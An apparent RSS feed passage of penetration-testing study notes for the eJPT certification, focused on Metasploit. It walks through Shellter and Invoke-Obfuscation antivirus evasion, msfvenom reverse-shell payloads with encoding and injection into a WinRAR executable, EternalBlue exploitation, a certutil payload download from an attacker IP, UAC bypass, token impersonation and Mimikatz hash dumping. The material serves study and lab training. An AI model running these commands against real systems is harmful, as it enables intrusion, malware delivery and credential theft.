wine32</pre><p>To now execute Shellter:</p><pre>cd /usr/share/windows-resources/shellter<br>sudo wine shellter.exe</pre><p>In this case, the executable we will be using vncviewer and we will inject our shell code into it. We will first create a directory with the executable in it. Then:</p><pre># When asked to choose an operation mode:<br>A</pre><pre># When asked to enter in the PE target:<br>/home/kali/Desktop/AVBypass/vncviewer.exe</pre><pre># When asked to enable stealth mode (whether to retain the original functionality of the executable):<br>Y</pre><pre># You can then select a listed or custom payload (e.g an msfvenom payload)</pre><h3>Obfuscation</h3><p>Obfuscation refers to the process of concealing something important valuable or critical. Obfuscation reorganizes code in order to make it harder to analyse. As a penetration tester, you will find yourself working with PowerShell code frequently. Most AV solutions will immediately flag malicious PowerShell code, and as a result, you must be able to obfuscate or encode your PowerShell code and scripts in order to avoid detection.</p><p>Invoke-Obfuscation is an open source PowerShell v2.0+ compatible PowerShell command and script obfuscator. You can view the GitHub repository <a href="https://github.com/danielbohannon/Invoke-Obfuscation">here</a> to learn more about it.</p><p>We can run PowerShell modules or code in Linux using certain dependencies which we can download:</p><pre>sudo apt-get install powershell -y</pre><pre># To launch PowerShell<br>pwsh</pre><p>We can now run PowerShell code on our Linux system.</p><pre>## To import a module<br>Import-Module ./Invoke-Obfuscation.ps</pre><pre>## To run it<br>Invoke-Obfuscation</pre><pre>## To load our PowerShell reverse shell code<br>SET SCRIPTPATH /home/kali/Desktop/shell.ps1</pre><p>Once we have obfuscated our code, we can transfer it to the target system by hosting a web server to host the file. We can then download it on the target system.</p><p>Thankyou for Reading!</p><p>HAPPYCTFHACKING!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d68f291951c8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[eJPT — 3.3 The Metasploit Framework]]></title>
            <link>https://dharmstm.medium.com/ejpt-3-3-the-metasploit-framework-24439d1238c5?source=rss-65613310e14b------2</link>
            <guid isPermaLink="false">https://medium.com/p/24439d1238c5</guid>
            <category><![CDATA[metasploit-framework]]></category>
            <category><![CDATA[enumeration]]></category>
            <category><![CDATA[ejpt]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[exploitation]]></category>
            <dc:creator><![CDATA[Dharmendrakumar]]></dc:creator>
            <pubDate>Sun, 19 Oct 2025 08:25:43 GMT</pubDate>
            <atom:updated>2025-10-19T08:25:43.124Z</atom:updated>
            <content:encoded><![CDATA[<h3>eJPT — 3.3 The Metasploit Framework</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qmjIYWgvsy8o3Nb1" /></figure><p><strong>Topics:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-fbN0Kb-R7Q3hTkj" /></figure><p>The Metasploit Framework is an open-source, robust penetration testing and exploitation framework that is used by penetration testers and security researchers worldwide. It provides a robust infrastructure required to automate every stage of the penetration testing lifecycle.</p><p>It’s used to develop and test exploits and has one of the world’s largest database of public, tested exploits. It’s designed to be modular, allowing for new functionality to be implemented with ease. The source code is available on GitHub and developers are constantly adding exploit modules.</p><p>There are 3 editions:</p><ol><li>Metasploit Pro (Commercial)</li><li>Metasploit Express (Commercial)</li><li>Metasploit Framework (Community)</li></ol><p>There are multiple interfaces:</p><ul><li>MSFconsole</li><li>MSFcli (discontinued in 2015)</li><li>Metasploit Community Edition (web GUI)</li><li>Armitage (Java GUI front-end)</li></ul><h3>Architecture</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/0*W_KvQXKIfsEWMWPk" /></figure><h3>Module Types</h3><ul><li>Exploit<br>Module that is used to take advantage of vulnerability and is typically paired with a payload</li><li>Payload<br>Code that is delivered by MSF and remotely executed on the target after successful exploitation. An example is a reverse shell that initiates a connection from the target system back to the attacker.</li><li>Encoder<br>Used to encode payloads to avoid AV (Anti-Virus) detection. For example, the shikata_ga_nai is used to encode Windows payloads.</li><li>NOPS<br>Used to ensure that payload sizes are consistent and ensure the stability of a payload when executed.</li><li>Auxiliary<br>Used to perform additional functionality like port scanning and enumeration. Cannot be paired with a payload</li></ul><h3>Payload Types</h3><ol><li>Non-staged Payload<br>Payload is sent to the target system as it is with the exploit.</li><li>Staged Payload<br>The first part (stager) contains a payload that is used to establish a reverse connection back to the attacker to then download the second part of the payload (stage) and execute it.</li></ol><p>The meterpreter payload is an advanced multi-functional payload that is executed in memory on the target system making it difficult to detect. It communicates over a stager socket and provides an attacker with an interactive command interpreter on the target system that facilitates the execution of system commands, file system navigation, keylogging, etc.</p><h3>Metasploit Fundamentals</h3><ul><li>Can be downloaded on Windows &amp; Linux</li><li>Pre-installed on Kali</li></ul><p>The Metasploit Framework Database (msfdb) is an integral part of the Metasploit Framework and is used to keep track of all your assessments, host data scans, etc. It uses PostgreSQL as the primary database server. It also facilitates the importation and storage of scan results from various third-party tools like Nmap and Nessus</p><h3>Auxiliary Modules</h3><p>The first step is to start up Metasploit and run a basic Nmap scan:</p><pre>service postgresql start<br>msfconsole<br>workspace -a (name)<br>db_status</pre><p>Useful commands to know about Metasploit to navigate:</p><pre>hosts<br>services<br>db_nmap<br>search<br>use<br>show options<br>run<br>exploit<br>sessions<br>background<br>back<br>creds<br>loot</pre><p>We can use auxiliary modules to do port scanning within Metasploit. It is used to perform scanning, discovery, and fuzzing. We can do TCP &amp; UDP port scanning as well as enumerating services on those ports. Can also be used to discover hosts and perform port scanning on a different network subnet after we have obtained initial access on a target system.</p><p>You cannot pair these modules with payloads as they have nothing to do with exploitation. These modules can be used during the information gathering and post exploitation phases.</p><p>To explain this briefly, using Nmap, we can do information gathering on target 1. Once we have gained access to this system, we may find that there are other systems available via target 1, such as target 2. Now, we can’t run Nmap here unless we install it on target 1 which is not recommended. This is where these auxiliary modules come in as we can perform a port scan on target 1 using target 2. We may also not have target 2’s IP address or it may be not connected to the internet, therefore preventing us from using Nmap or scanning it from our device.</p><p>An example command within an auxiliary module:</p><pre>search portscan<br>use (index of module)<br>set RHOSTS (target ip)</pre><p>Auxiliary modules that are useful to know:</p><ul><li>portscan</li><li>udp_sweep</li></ul><h3>Service Enumeration</h3><h3>FTP Enumeration</h3><p>FTP stands for the file transfer protocol. Normally on port 21 and is used to facilitate file sharing between a server and clients. Also frequently used to facilitate file sharing to and from the directory of a web server.</p><p>FTP authentication utilizes a username and password combination. However, in some cases, an improperly configured FTP server will allow anonymous login. We can use multiple auxiliary modules to enumerate information as well as perform brute-force attacks on an FTP server.</p><p>If you don’t have a specific username or password to use with the brute-force option. Some very useful and comprehensive lists within Metasploit can be found here:</p><pre>/usr/share/metasploit-framework/data/wordlists/common_users.txt<br>/usr/share/metasploit-framework/data/wordlists/unix_passwords.txt</pre><p>Some useful auxiliary FTP modules:</p><ul><li>ftp_version</li><li>ftp_login</li><li>ftp/anonymous</li></ul><h3>SMB Enumeration</h3><p>SMB stands for Server Message Block is a network file sharing protocol that is used to facilitate the sharing of files and peripherals between computers on a local network (LAN). It uses port 445. On Linux, it’s called SAMBA. We can use auxiliary modules to enumerate SMB shares, the version, users, and perform a brute-force attack in order to verify usernames and passwords.</p><p>A useful tip within Metasploit is to set a global variable to be the target IP, to prevent having to remember it or continually paste it.</p><pre>setg RHOSTS (target ip)</pre><p>Some useful auxiliary FTP modules:</p><ul><li>smb_version</li><li>smb_enumusers</li><li>smb_enumshares</li><li>smb_login</li></ul><p>For example, you can use the command to list out the SMB shares and the next one to gain access:</p><pre>smbclient -L \\\\ip\\ -U admin<br>smbclient \\\\ip\\public -U admin</pre><h3>Web Server Enumeration</h3><p>A web server is software that is used to serve website data on the web. They utilize HTTP for communication between the client and the webserver. It is on port 80 while HTTPS is on 443. Popular webservers include Apache, Nginx, and Microsoft IIS. We can use auxiliary modules to enumerate the webserver version, HTTP header and brute-force directories.</p><p>Some useful auxiliary HTTP modules:</p><ul><li>http_version</li><li>http_header</li><li>http_put</li><li>robots_txt</li><li>dir_scanner</li><li>dir_listing</li><li>files_dir</li><li>http_login</li><li>apache_userdir_enum</li><li>brute_dirs</li></ul><h3>MySQL Enumeration</h3><p>It’s an open-source relational database management system. It is typically used to store records, customer data, and is most commonly used to store web application data. It utilizes port 3306 by default but it can be hosted on any other open TCP port. We can use auxiliary modules to find out the version, perform brute-force attacks and identify passwords.</p><p>Some useful auxiliary MySQL modules:</p><ul><li>mysql_version</li><li>mysql_login</li><li>mysql_enum</li><li>mysql_sql</li><li>mysql_schemadump</li></ul><p>To then open the database outside the Metasploit framework once credentials have been found:</p><pre>mysql -h (target ip) -u (username) -p</pre><h3>SSH Enumeration</h3><p>SSH (Secure Shell) is a remote administration protocol that offers encryption and is the successor to Telnet. It is typically used for remote access to servers and systems. It uses port 22 by default but can be configured to run on any port. We can use auxiliary modules to enumerate the version of SSH as well as perform brute-force attacks to identify passwords to exploit it.</p><p>If a target has been configured to use passwords for encryption, then we use the ssh_login module. If it has been configured to use a public and private key for encryption, then we use the ssh_login_pubkey module.</p><p>Some useful auxiliary SSH modules:</p><ul><li>ssh_version</li><li>ssh_login</li><li>ssh_enumusers</li></ul><h3>SMTP Enumeration</h3><p>SMTP stands for Simple Mail Transfer Protocol. It uses port 25 by default but can be configured to run on 465 and 587 if it has SSL/TLS running. We can use auxiliary modules to enumerate the version of SMTP and user accounts on the target system.</p><p>Some useful auxiliary SMTP modules:</p><ul><li>smtp_version</li><li>smtp_enum</li></ul><h3>Vulnerability Scanning</h3><p>As we know we can use the search function within Metasploit to search for exploit or auxiliary modules pertaining to a target. We can also use searchsploit to find Metasploit modules for a specific service.</p><pre>searchsploit &quot;Microsoft IIS&quot; | grep -e &quot;Metasploit&quot;</pre><p>Another technique is using the db_autopwn plugin which is available on GitHub <a href="https://github.com/hahwul/metasploit-autopwn">here</a>. I have previously covered this is the vulnerability assessment section but I&#39;ll cover it again.</p><pre># To download the tool:<br>wget https://raw.githubusercontent.com/hahwul/metasploit-autopwn/master/db_autopwn.rb</pre><pre># To move it into the metasploit framework<br>cd metasploit-autopwn<br>mv db_autopwn.rb /usr/share/metasploit-framework/plugins/</pre><pre># To load it within metasploit:<br>load db_autopwn<br>db_autopwn -h</pre><p>If you’ve enumerated all the information within Metasploit, we can then use autopwn to search for exploits or vulnerabilities according to the target ports open on the system.</p><pre>db_autopwn -p -t</pre><p>We can utilize the -PI option to specify a port or a port range.</p><p>We can also use the analyze command to analyse an IP within the Metasploit framework for vulnerabilities which it has detected for which exploits are available.</p><h3>Nessus</h3><p>It’s a proprietary vulnerability scanner developed by Tenable. We can perform a scan on a target system which we can then import into Metasploit for analysis and exploitation. It automates the process of identifying vulnerabilities and provides us with information pertinent to a vulnerability like the CVE code.</p><p>There is a paid and free version of Nessus. The free version allows us to scan up to 16 IP addresses. We can access the link <a href="https://www.tenable.com/products/nessus/nessus-essentials">here</a> and you can register for free to get the activation code.</p><p>Once you’ve completed a scan with Nessus, you can export the results as a .nessus file. We can then import this into the Metasploit framework using db_import. We can then go through these results and look for CVE codes. Then we can search for exploit modules using those CVE codes:</p><pre>search cve:(enter the year) name:(the service)</pre><p>Alternatively, within the Nessus framework on the web, we can use the filter to filter out the results where Metasploit exploit modules are available. We can click on it and find the specific module name to run and gain a meterpreter session on the target.</p><h3>WMAP</h3><p>WMAP is a tool which we use to web application vulnerability scanning. It can be used to automate web server enumeration. It’s available as an MSF plugin and can be loaded directly into MSF. It can be integrated within the Metasploit Framework Database.</p><p>To load WMAP within Metasploit:</p><pre>worskspace -a Web_Scan<br>load wmap</pre><pre># To add a site to scan:<br>wmap_sites -a (target ip)</pre><pre># To set up our target:<br>wmap_targets -t <a href="http://(target_ip)/">http://(target_ip)/</a></pre><pre># To search for useful auxiliary modules for our target:<br>wmap_run -t</pre><pre># To then run those auxiliary modules:<br>wmap_run -e</pre><pre># To list out the vulnerabilities that wmap has found:<br>wmap_vulns -l</pre><p>We can use the module http_put to test whether or not we can upload a file to a directory. If we can, then it can be exploited by uploading a malicious file.</p><h3>Payloads</h3><p>A client-side attack is an attack vector that involves coercing a client to execute a malicious payload on their system that consequently connects back to the attacker when executed. They typically utilize various social engineering techniques like generating malicious documents or portable executables (PEs). They take advantage of human vulnerabilities as opposed to vulnerabilities in services or software running on the target system.</p><p>Note that given this attack vector involves the transfer and storage of the malicious payload on the client’s system, attackers need to be cognisant of AV (Anti-Virus) detection.</p><h3>Msfvenom</h3><p>We can use it to generate payloads and encode them for various systems.</p><p>To tell the difference between staged and non-staged payloads, msfvenom will show the type of shell (for example meterpreter) followed by a forward slash or an underscore. The forward slash means that it&#39;s a staged payload and the underscore means that it&#39;s a non-staged payload.</p><pre># Staged Payload:<br>windows/x64/meterpreter/reverse_tcp</pre><pre># Non-staged Payload:<br>windows/x64/meterpreter_reverse_tcp</pre><h3>Generating Payloads</h3><p>When generating a payload, it’s a good idea to specify the architecture of the target system, followed by the payload. You then need to specify your IP address and the listening port (if required). We now need to select the format option to output it in the specific format you want and the location to store the file.</p><p>As an example of 32-bit and 64-bit payloads:</p><pre>msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=1234 -f exe &gt; ~/Desktop/win_payloadx86.exe<br>or<br>msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=1234 -f exe &gt; ~/Desktop/win_payloadx64.exe</pre><p>To generate a 32-bit Linux payload:</p><pre>msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=1234 -f elf &gt; ~/Desktop/linux_payloadx86</pre><p>You can list out the formats in which you can export your payload:</p><pre>msfvenom --list formats</pre><p>Let’s say we now wanted to transfer our payload to the target system. We could do so by setting up a web server. We can then open the web server on the target system and download the executable. Once we have set up our listener, we can execute it on the target system.</p><pre>sudo python -m SimpleHTTPServer 80</pre><p>To set up our meterpreter handler or listener:</p><pre>use multi/handler<br>set payload (the payload option that you selected with msfvenom)<br>set LHOST (the ip address you selected with msfvenom)<br>set LPORT (the port you selected with msfvenom)</pre><h3>Encoding Payload</h3><p>Most AV (Anti-Virus) solutions utilize signature based detection in order to identify malicious files or executables. We can evade older signature based AV solutions by encoding our payloads. Encoding is the process of modifying the payload shellcode with the objective of modifying the payload signature.</p><p>Note that this technique is no longer really used as most of the current AV solutions have a huge database of signatures which makes it very difficult to mask a payload. But it may work on older AVs or Windows Defender on older versions of Windows.</p><p>Shellcode is a piece of code typically used as a payload for exploitation. It gets its name from the term command shell, whereby shellcode is a piece of code that provides an attacker with a remote command shell on the target system.</p><p>We can list out the encoders within msfvenom with the following command:</p><pre>msfvenom --list encoders</pre><p>The best encoder to use is the shikata_ga_nai encoder for both Windows &amp; Linux systems. For example, to encode a 32-bit payload:</p><pre>msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=1234 -e x86/shikata_ga_nai -f exe &gt; ~/Desktop/encodedx64.exe</pre><p>You can encode a payload multiple times. The more you encode it or the number of iterations you do, the higher chance of success you will have again an AV. You can use the option -i to specify how many times you&#39;d like to encode it. As as example:</p><pre>msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=1234 -i 10 -e x86/shikata_ga_nai -f exe &gt; ~/Desktop/encodedx64.exe</pre><h3>Injecting Payloads</h3><p>We can inject payloads into executable files to evade AV. We can use the -X option to specify a custom executable file to use as a template. We can also use the -k option with it to preserve the template behaviour and inject the payload as a new thread.</p><p>On of the best injectable (as some executables will not allow you to inject payload) payloads is the WinRAR executable for Windows. We can generate a payload and then inject it into the WinRAR executable.</p><pre>msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=1234 -i 10 -e x86/shikata_ga_nai -f exe -X &gt; ~/Downloads/wrar602.exe &gt; ~/Desktop/winrar.exe</pre><p>Since we didn’t specify the -k option, the file (or WinRAR executable) will not run as a WinRAR file and will only run the payload. However, it will still show that within the meta data that it’s the WinRAR archiver, etc. So to be more sneaky, we can use the -k option to keep the functionality of the executable while also executing the payload. However, this will not work with a lot of executables so just be aware.</p><pre>msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=1234 -i 10 -e x86/shikata_ga_nai -f exe -k -X &gt; ~/Downloads/wrar602.exe &gt; ~/Desktop/winrar.exe</pre><p>In this case, the WinRAR executable file doesn’t allow us to to inject a payload while keeping the original functionality.</p><h3>Automating Metasploit</h3><p>Metasploit resource scripts are a great feature of MSF that allow you to automate repetitive tasks and commands. They operate similarly to batch scripts (on Windows), whereby, you can specify a set of commands that you want to execute sequentially.</p><p>You can load the script with Metasploit and automate the execution of the commands you specified in the resource script. We can use these resource scripts to automate various tasks like setting up multi handlers as well as loading and executing payloads.</p><p>The scripts that Metasploit runs can found in the following path:</p><pre>/usr/share/metasploit-framework/scripts/resource/</pre><pre>vim handler.rc</pre><pre>use multi/handler<br>set PAYLOAD windows/meterpreter/reverse_tcp<br>set LHOST 10.10.10.10<br>set LPORT 1234<br>run</pre><p>We can then write and quit from the vim text editor. To now load it:</p><pre>msfconsole -r handler.rc (or path to the script)</pre><p>You can load resource scripts from within the Metasploit console:</p><pre>resource ~/Desktop/handler.rc</pre><p>You can also make a resource script using the previous commands you typed within msfconsole.</p><pre>makerc ~/Desktop/new.rc</pre><p>Topics:</p><ul><li>Windows Exploitation</li><li>Linux Exploitation</li><li>Post-Exploitation Fundamentals</li><li>Windows Post-Exploitation</li><li>Linux Post-Exploitation</li><li>Metasploit GUIs</li></ul><h3>Windows Exploitation</h3><h3>HTTP File Server</h3><p>In this case, there is a vulnerable HTTP file server on port 80 on the target. We can perform some service version detection and maybe run an Nmap script on port 80 for information. We can then use searchsploit to search for hfs exploits. There is a Metasploit module to exploit this to gain a meterpreter session.</p><h3>CVE-2017–0144 EternalBlue</h3><p>The Windows SMB vulnerability EternalBlue (MS17–010 / CVE-2017–0144) is the name given to a collection of Windows vulnerabilities and exploits that allow attackers to remotely execute arbitrary code and gain access to a Windows system and consequently the network that the target system is a part of.</p><p>It was developed by the NSA and then leaked to the public by a hacker group called the Shadow Brokers in 2017. It takes advantage of a vulnerability in the SMBv1 protocol that allows attackers to send specially crafted packets that allow to get a meterpreter session or a reverse shell.</p><p>It was used in the WannaCry ransomware attack on June 27, 2017, to exploit other Windows systems across networks with the objective of spreading the ransomware to as many systems as possible.</p><p>It affects multiple versions of Windows:</p><ul><li>Windows Vista</li><li>Windows 7</li><li>Windows Server 2008</li><li>Windows 8.1</li><li>Windows Server 2012</li><li>Windows 10 (only a certain build)</li><li>Windows Server 2016</li></ul><p>Microsoft released patch for vulnerability in 2017, but many systems and companies have not yet patched their systems. It has an MSF auxiliary module that can be used to check if a target system is vulnerable to the exploit. It also has an exploit module that can be used to exploit the vulnerability on unpatched systems.</p><p>The auxiliary module — smb_ms17_010 The exploit module - ms17_010_eternalblue</p><p>You can also manually exploit the vulnerability by utilizing publicly available exploits. To exploit it manually, it’s called AutoBlue-MS17–010 and can be found <a href="https://github.com/3ndG4me/AutoBlue-MS17-010">here</a>.</p><pre>cd shellcode<br>chmod +x shell_prep.sh<br>./shell_prep.sh</pre><pre>chmod +x eternalblue_exploit7.py<br>python eternalblue_exploit7.py (target ip) shellcode/sc_x64.bin</pre><p>You can check if a system is vulnerable to this attack via Nmap:</p><pre>nmap -sV -p445 --script=smb-vuln-ms17-010 (target ip)</pre><p>Tip to set up a netcat listener:</p><pre>nc -nvlp (the port you are listening on)</pre><h3>WinRM</h3><p>This is a feature that runs on Windows, but it’s not configured by default. It stands for Windows Remote Management protocol. It can be used to facilitate remote access with Windows systems over HTTP(S). It implements access control and security for communication between systems through various forms of authentication, either by a normal username and password or a username and a hashed password.</p><p>It is typically used in the following ways:</p><ul><li>Remotely access and interact with Windows hosts on a LAN</li><li>Remotely access and execute commands on Windows systems</li><li>Manage and configure Windows systems remotely</li></ul><p>WinRM normally runs on port 5985 or port 5986 if SSL is enabled.</p><p>We can use a tool called Crackmapexec to perform a brute-force attack on WinRM in order to identify users and their passwords as well as to execute commands on the target system. We can also use a ruby script called evil-winrm to obtain a command shell session on the target system.</p><p>Note that you can also use Crackmapexec on MsSQL, SMB, SSH as well as WinRM.</p><pre>crackmapexec winrm target_ip -u administrator -p /usr/sahre/metasploit-framework/data/wordlists/unix_passwords.txt<br>crackmapexec winrm target_ip -u administrator -p password -x &quot;whoami&quot;</pre><p>To now obtain a shell, we can use evil-winrm.</p><pre>evil-winrm -u usernmae -p &#39;password&#39; -i target_ip</pre><p>You can also obtain a meterpreter session via Metasploit. There is an exploit module called winrm_script_exec. It will require credentials before being exploited.</p><h3>Apache Tomcat</h3><p>Apache Tomcat, is a popular, free and open-source Java servlet web server. It’s used to build and host dynamic websites and web applications based on the Java software platform. It utilizes the HTTP protocol to facilitate the underlying communication between the server and the clients. It runs on port 8080 by default.</p><p>The standard Apache HTTP web server is used to host static and dynamic websites or web applications, typically developed in PHP. On the other hand, the Apache Tomcat web server is primarily used to host dynamic websites or web applications developed in Java.</p><p>Any version of Apache Tomcat below V9 is vulnerable to a remote code execution vulnerability that could potentially allow an attacker to upload and execute a JSP payload in order to gain remote access to the target server. We can utilize a pre-built MSF exploit module, tomcat_jsp_upload_bypass to exploit it and consequently gain access to the target.</p><p>There are three payloads we can use, the first being the default one, the second being:</p><pre>set payload java/jsp_shell_bind_tcp</pre><p>This will give us a command shell session. To get a meterpreter session, we can generate a Windows meterpeter payload with msfvenom:</p><pre>msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=1234 -f exe &gt; meterpreter.exe</pre><p>We can then set up a web server to host the payload.</p><pre>sudo python -m SimpleHTTPServer 80</pre><p>We can then head to the command shell and download the payload.</p><pre>certutil -urlcache -f http://10.10.10.10/meterpreter.exe meterpreter.exe</pre><p>Now, we need to set up our handler within Metasploit. Then we can execute the payload.</p><pre>.\meterpreter.exe</pre><h3>Linux Exploitation</h3><p>You can view more notes for this section <a href="https://medium.com/@dharmendrastm/ejpt-1-3-enumeration-bf658c341ac1">here.</a></p><h3>FTP Server</h3><p>Firstly, let’s run an Nmap scan. We can see that vsftpd is running on port 21. We can now search for vsftpd and we see that we have an exploit module (vsftpd_234_backdoor). To open a command shell on the target, we can type /bin/bash -i .</p><p>To upgrade our shell to a meterpreter session, we can search for the shell_to_meterpreter module.</p><h3>SAMBA</h3><p>We can run an Nmap scan and we see that it has samba open on port 445. We can search for the module is_known_pipename. Once we have obtained a shell. We can upgrade it to a meterpreter session as previously done.</p><h3>SSH</h3><p>Again, let’s run an Nmap scan and we can see that it’s running libssh on port 22. We can use the module libssh_auth_bypass to test if its vulnerable to this exploit. We can now upgrade it to a meterpreter session as previously done.</p><h3>SMTP</h3><p>After running our Nmap scan, we see that smtp is running on port 25 and more specifically haraka. We can use the exploit module haraka to exploit the server.</p><h3>Post-Exploitation Fundamentals</h3><p>These are the actions performed on the target system after initial access has been obtained. This will generally consist of various techniques:</p><ul><li>Local enumeration</li><li>Privilege escalation</li><li>Dumping hashes</li><li>Establishing persistence</li><li>Clearing your tracks</li><li>Pivoting</li></ul><h3>Meterpreter Fundamentals</h3><p>It’s an advanced multi-functional payload that operates via DLL injection and is executed in memory on the target system, consequently making it difficult to detect. It communicates over a stager socket and provides an attacker with an interactive command interpreter on the target system that facilitates the execution of system commands, file system navigation, keylogging, etc.</p><p>Meterpreter also allows us to load custom scripts and plugins dynamically. Note that it works different on both Linux and Windows for more advanced commands or techniques.</p><p>In this case, we will be exploiting the Apache XODA server for which there is a Metasploit module called xoda_file_upload. We will now have a meterpreter session on the target.</p><p>Some useful commands to know:</p><p>sysinfo -To show OS information and kernel version<br>getuid -This will show what permissions we currently have<br>help -To open up the documentation<br>background -This will keep the session open but, in the background<br>exit -To completely kill the session<br>sessions -To list out our active sessions<br>search -You can specify the directory or file path you want to search in<br>shell -To get a native command prompt or shell on the target system<br>ps -List the processes currently on the system by their index/process ID<br>migrate -To migrate to a specific process followed by the process ID<br>execute -To execute a command on the target without opening a shell</p><p>To upgrade a command shell to a Meterpreter shell, we can use the shell_to_meterpreter module. Another method to automate the process is to run the sessions command followed by -u and then the session ID.</p><h3>Windows Post-Exploitation</h3><p>We can utilize these post-exploitation modules to enumerate the following information about the Windows system we currently have access to:</p><ul><li>User privileges</li><li>Logged on users</li><li>Virtual machine check</li><li>Installed programs</li><li>Anti-virus</li><li>Computers connected to that domain</li><li>Installed patches</li><li>Shares</li></ul><p>Some Useful Windows Meterpreter Commands:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/0*QCJWjIKgCCLRXZJd.png" /></figure><p><strong>Some Useful Windows Post-Exploitation Modules</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/0*GFUIkKVUn6M6ENE5.png" /></figure><p>If the enum_patches module fails, you can always enumerate the same information by opening up a shell on the target and running the systeminfo command.</p><p><strong>The lab link:</strong>- <a href="https://dharmendrastm.medium.com/windows-post-exploitation-modules-51ee3bdf2650">Windows Post-Exploitation Modules</a></p><h3>Bypassing UAC</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*FcxEBCbs3eGROw5m" /></figure><p>UAC stands for User Account Control. It’s a security feature introduced in Windows Vista that is used to prevent unauthorized changes from being made to the OS and would require approval from the administrator.</p><p>A non-privileged user attempting to execute a program with elevated privileges will be prompted with the UAC credential prompt whereas a privileged user will be prompted with a consent prompt. Attacks can bypass UAC in order to execute malicious executables with elevated privileges.</p><p>In order to successfully bypass UAC, we will need to have access to a user account that is part of the local administrators group on the Windows target system. UAC has various integrity levels ranging from low to high, if the UAC protection level is set below high, Windows programs can be executed with elevated privileges without prompting the user for confirmation.</p><p>UACMe is an open source, robust privilege escalation tool. it can bypass UAC on multiple versions of Windows ranging from 7 to 10. It allows attackers to execute malicious payloads on a Windows target with elevated privileges by abusing the inbuilt Windows AutoElevate tool. The GitHub repository has more than 60 exploits than can be used to bypass UAC depending on the version of Windows running on the target. You can find the GitHub page <a href="https://github.com/hfiref0x/UACME/">here</a>.</p><p>Once we have exploited the target, and we have a 64-bit meterpreter session, we can see that the user which we gained access to is part of the administrators group. To bypass UAC with Metasploit, we can use the bypassuac_injection module which will execute it in memory. Now that we have the privileges requires, we can use the getsystem command.</p><p>You can view some related UAC notes<a href="https://medium.com/@dharmendrastm/bypassing-uac-with-uacme-2c368b2f82b3"> here</a> or<a href="https://dharmendrastm.medium.com/uac-bypass-memory-injection-metasploit-8a15f1852fba"> here</a>.</p><p>The lab link:-<a href="https://dharmendrastm.medium.com/uac-bypass-memory-injection-metasploit-8a15f1852fba"> UAC Bypass: Memory Injection (Metasploit)</a></p><h3>Token Impersonation with Incognito</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*16aFbdAkzl28plmL" /></figure><p>Windows access tokens are a core element of the authentication process on Windows and are created and managed by LSASS (Local Security Authority Subsystem Services). A token is responsible for identifying and describing the security context of a process or thread running on a system.</p><p>Access tokens are generated by the winlogon.exe process every time a user authenticates successfully and includes the identify and privileges of the user account associated with the thread or process. This token is then attached to the userinit.exe process, after which all child processes started by a user will inherit a copy of the access token from their creator and will run under the privileges of that access token.</p><p>Windows access tokens are categorized based on two types of the level tokens which determine which privileges are assigned to what token:</p><ol><li>Impersonate level tokens</li><li>Delegate level tokens</li></ol><p>Impersonate level tokens are created as a direct result of a non-interactive login on Windows, typically through specific system services or domain logons. They can be used to impersonate a token on the local system and not on any external systems that utilize the token.</p><p>Delegate level tokens are typically created through an interactive login on Windows, primarily through a traditional login or through remote access protocols, like RDP. These tokens pose the largest threat as they can be used to impersonate tokens on any system.</p><p>The process of impersonating access tokens to elevate privileges on a system will primarily depends on the privileges assigned to the account that has been exploited to gain initial access as well as the impersonation or delegation tokens available. You need one of the following tokens (primarily the SeImpersonatePrivilege token) to perform a successful impersonation attack:</p><ul><li>SeAssignPrimaryToken - allows a user to impersonate tokens</li><li>SeCreateToken - allows a user to create an arbitrary token with administrative privileges</li><li>SeImpersonatePrivilege - allows a user to create a process under the security context of another user typically with administrative privileges</li></ul><p>In order to perform this attack, we will be using a Metasploit module called 7incognito which allows you to impersonate user tokens after successful exploitation. We can use it to display a list of available tokens that we can impersonate. In this case, the target is also vulnerable to the rejetto_hfs_exec Metasploit module that we used previously.</p><p>In this case, if you run the getprivs command within the Meterpreter session, we have access to the SetImpersonatePrivilege privilege. To now use the tool incognito within meterpreter:</p><pre>load incognito<br>list_tokens -u<br>impersonate_token &quot;the name of the token you want to impersonate&quot;</pre><p>We can now migrate to the explorer process, and we will have elevated privileges.</p><p>In the case that we do not find any useful or administrative tokens to impersonate; we can utilize the potato attack which will cover later.</p><p>The lab link:-<a href="https://dharmendrastm.medium.com/privilege-escalation-impersonate-ffb308b49dab"> Windows Privilege Escalation: Token Impersonation With Incognito</a></p><h3>Dumping Hashes with Mimikatz</h3><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/0*oPUIFT2UEQ33F76I" /></figure><p>Mimikatz is a Windows post-exploitation tool that allows for the extraction of clear-text passwords, hashes and Kerberos tickets from memory. We can use it to extract hashes from the lsass.exe process memory where hashes are cached. We can use the pre-compiled Mimikatz executable or if we have access to a meterpreter session, we can use Kiwi. We will require elevated privileges to run this.</p><p>The first step, as usual is to perform an Nmap scan. We can see that the target is running a BadBlue service on port 80. There is a Metasploit module to exploit this called badblue_passthru. Once exploited, we will have administrator privileges, and we can now migrate to the LSASS service and we will therefore have the highest privileges.</p><p>We can now load kiwi in our meterpreter session and dump all the credentials or we could dump the SAM database, which will dump the hashes for all the user accounts on the system.</p><pre>creds_all<br>lsa_dump_sam</pre><p>Alternatively to using Mimikatz, we can use our current meterpreter session and navigate to the Temp directory. 